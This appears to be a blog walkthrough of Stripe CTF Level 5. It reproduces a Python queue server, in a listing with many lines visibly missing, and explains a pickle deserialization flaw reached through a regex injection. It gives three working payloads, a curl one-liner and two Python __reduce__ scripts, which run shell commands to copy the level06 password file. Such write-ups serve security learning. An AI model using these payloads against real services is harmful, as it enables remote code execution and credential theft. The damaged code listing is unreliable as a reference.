Stripe CTF – Level 5

Note: For more information on this series of posts and the CTF exercise, please read the Background section of the first post in this series.

Level 05

Okay, we’re getting closer the elusive flag.  Just two levels left. Let’s see how we might be able to obtain the level06 credentials.  Login as level05 and take a peek at the /levels directory.

Note: You’ll notice that the file attributes for level05 are different than they appeared in previous posts. This was because I didn’t look closely at all of the binaries for each level when I initially set up the server. So when I reached level05, even though I had the suid bit set on the “binary”, it is actually a python script thus the python interpreter won’t actually recognize the suid permisions. Thus I went ahead and changed the script to be strictly owned and group owned by level06, and then initiated the server and worker processes as the level06 user from the server side.

This challenge took me by surprise. I really enjoy python, but I’m not programming in it every day, so when I took my first glance I was a little nervous as no obvious vulnerabilities were popping out at me. This is common in the security analysis field and like any problem in life, it’s best to start from the beginning and be methodical about what to do next.  Here is the code, it’s rather long, so if you’d like to walk through it, click the filename to expand the section.

#!/usr/bin/env python
import logging
import json
import optparse
import os
import pickle
import random
import re
import string
import sys
import time
import traceback
import urllib

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

LOGGER_NAME = 'queue'
logger = logging.getLogger(LOGGER_NAME)

TMPDIR = '/tmp/level05'
class Job(object):
 QUEUE_JOBS = os.path.join(TMPDIR, 'jobs')
 QUEUE_RESULTS = os.path.join(TMPDIR, 'results')

def __init__(self): = self.generate_id()
 self.created = time.time()
 self.started = None
 self.completed = None

def generate_id(self):
 return ''.join([random.choice(string.ascii_letters) for i in range(20)])

def job_file(self):
 return os.path.join(self.QUEUE_JOBS,

def result_file(self):
 return os.path.join(self.QUEUE_RESULTS,

def start(self):
 self.started = time.time()

def complete(self):
 self.completed = time.time()
class QueueUtils(object):
 def deserialize(serialized):
 logger.debug('Deserializing: %r' % serialized)
 parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
 match = parser.match(serialized)
 direction =
 data =
 job = pickle.loads(
 return direction, data, job

 def serialize(direction, data, job):
 serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job))
 logger.debug('Serialized to: %r' % serialized)
 return serialized

 def enqueue(type, data, job):'Writing out %s data for job id %s' % (type,
 if type == 'JOB':
 file = job.job_file()
 elif type == 'RESULT':
 file = job.result_file()
 raise ValueError('Invalid type %s' % type)

serialized = QueueUtils.serialize(type, data, job)
 with open(file, 'w') as f:
class QueueServer(object):
 # Called in server
 def run_job(self, data, job):
 QueueUtils.enqueue('JOB', data, job)
 result = self.wait(job)
 if not result:
 result = (None, 'Job timed out', None)
 return result

def wait(self, job):
 job_complete = False
 for i in range(10):
 if os.path.exists(job.result_file()):
 logger.debug('Results file %s found' % job.result_file())
 job_complete = True
 logger.debug('Results file %s does not exist; sleeping' % job.result_file())

if job_complete:
 f = open(job.result_file())
 result =
 return QueueUtils.deserialize(result)
 return None
class QueueWorker(object):
 def __init__(self):
 # ensure tmp directories exist
 if not os.path.exists(Job.QUEUE_JOBS):
 if not os.path.exists(Job.QUEUE_RESULTS):

def poll(self):
 while True:
 available_jobs = [os.path.join(Job.QUEUE_JOBS, job) for job in os.listdir(Job.QUEUE_JOBS)]
 for job_file in available_jobs:
 except Exception, e:
 logger.error('Error processing %s' % job_file)
 logger.debug('Successfully processed %s' % job_file)
 if available_jobs:'Processed %d available jobs' % len(available_jobs))

def process(self, job_file):
 serialized = open(job_file).read()
 type, data, job = QueueUtils.deserialize(serialized)

 result_data = self.perform(data)

QueueUtils.enqueue('RESULT', result_data, job)

def perform(self, data):
 return data.upper()
class QueueHttpServer(BaseHTTPRequestHandler):
 def do_GET(self):

output = { 'result' : "Hello there! Try POSTing your payload. I'll be happy to capitalize it for you." }

def do_POST(self):
 length = int(self.headers.getheader('content-length'))
 post_data =
 raw_data = urllib.unquote(post_data)

queue = QueueServer()
 job = Job()
 type, data, job = queue.run_job(data=raw_data, job=job)
 if job:
 status = 200
 output = { 'result' : data, 'processing_time' : job.completed - job.started, 'queue_time' : time.time() - job.created }
 status = 504
 output = { 'result' : data }

 self.wfile.write(json.dumps(output, sort_keys=True, indent=4))

def run_server():
 server = HTTPServer(('', 9020), QueueHttpServer)'Starting QueueServer')
 except KeyboardInterrupt:'^C received, shutting down server')

def run_worker():
 worker = QueueWorker()

def main():
 parser = optparse.OptionParser("""%prog [options] type""")
 parser.add_option('-v', '--verbosity', help='Verbosity of debugging output.',
 dest='verbosity', action='count', default=0)
 opts, args = parser.parse_args()
 if opts.verbosity == 1:
 elif opts.verbosity >= 2:

if len(args) != 1:
 return 1

if args[0] == 'worker':
 elif args[0] == 'server':
 raise ValueError('Invalid type %s' % args[0])

return 0

if __name__ == '__main__':

First, I had to step through the code to get a good feel for exactly what was going on. I won’t delve into too much detail about the intended functionality of the program, but in general the script has two primary components – the server process and the worker process.

The server process opens an HTTP web listener on port 9020 and basically handles GET and POST requests. If it sees a GET request, it provides the user with instructions to send a POST request with some data to be capitalized. When it receives the POST request, it submits a job for the worker process to handle the data. Thus the worker process is constantly polling the “jobs” directory for jobs to process, and when it finds them, it proceeds to parse the data and spit out the result. Simple enough, but I was still having trouble identifying the vulnerability (it was probably much more obvious to some).  I went ahead and ran a test of the program with normal data to get a feel for how it works.

So one thing that I initially took notice to was that there doesn’t appear to be any input validation from the POST data, so we should have some flexibility there. The next thing I did was to trace what happens to the data as it progresses through the program. Basically our data gets passed around to different functions, and then serialized/desearialized using the pickle API. One line of code that initially stood out to me was line 54 where our data is about to be deserialized:

parser = re.compile(‘^type: (.*?); data: (.*?); job: (.*?)$’, re.DOTALL)

This is a simple regular expression command that parses our data for the specific patterns and returns three match groups accordingly. What I found of interest is that it’s assuming that the “data” field does not have the string “; job: ” contained within it. Otherwise, if we include that character sequence in our data the parser will submit our string to the final match group as opposed to the intended “job” string.

Okay, so what is supposed to happen with the “job” data? On line 58 it gets sent to the pickle.loads method. Note that the script assumes this is the same data that was sent to the pickle.dumps method on line 63, during serialization. So that seems to be about the only place in the program where we might direct some unintended functionality. Researching the pickle module ( a little bit more identifies an interesting warning that should peak our interest:

“Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.”

Ahh, but it appears that this program is unpickling data from an “untrusted” source. So let’s figure out how to exploit this. Googling for “python pickle vulnerabilities” leads us to some interesting articles:

These articles all discuss ways to exploit the vulnerabilities inherent to pickle.

Okay, so now we know the vulnerability. It seems likely that we can get the server to spit out the password for level06 for us. We just need to generate the correct exploit string and pass it through our post request. I used the articles mentioned earlier as a guide for generating these exploits.

Now it took me quite a bit of fiddling around with the correct exploit string. Primarily I had to get it to actually print the correct data in the post request. This was one of those trial and error experiences that can get frustrating but is worth it in the end. After getting the correct string to work, I also generated a few other options based on examples of pickle exploits seen during my research.  Below are the three solutions I came up with.

Solution 1:

 curl http://localhost:9020 -d "; job: $(printf "cos\nsystem\n(S'cat /home/level06/.password > /tmp/level6pw1'\ntR.")" 

Solution 2:

 import pickle
 import subprocess
 import os, sys

class exploit(object):
 def __reduce__(self):
 return (subprocess.Popen,
 (('/bin/sh', '-c',
 'cat /home/level06/.password > /tmp/level6pw2'),))

job = pickle.dumps(exploit())
 mystring = 'curl http://localhost:9020 -d \"; job: $(printf \"' + job + '\")\"'

Solution 3:

 import pickle
 import subprocess
 from urllib import urlopen

class exploit(object):
 def __reduce__(self):
 return (subprocess.Popen,
 (('/bin/sh', '-c',
 'cat /home/level06/.password > /tmp/level6pw3'),))

job = pickle.dumps(exploit())
 urlopen('http://localhost:9020','; job: ' + job)

Here is a screenshot of running the three different exploits.  Notice that they are each handled a little differently, but still produce the same result:

Sure enough we can validate that all three exploits succeeded and generated the correct result.


This was a little more challenging for me as I wasn’t aware of the pickle module and its vulnerabilities prior to this exercise. But that is what is great about these kinds of challenges. They force you to learn something new and research ways to break things that you didn’t know you could break.

Go ahead and save your password, and let’s see if we can finally capture that flag!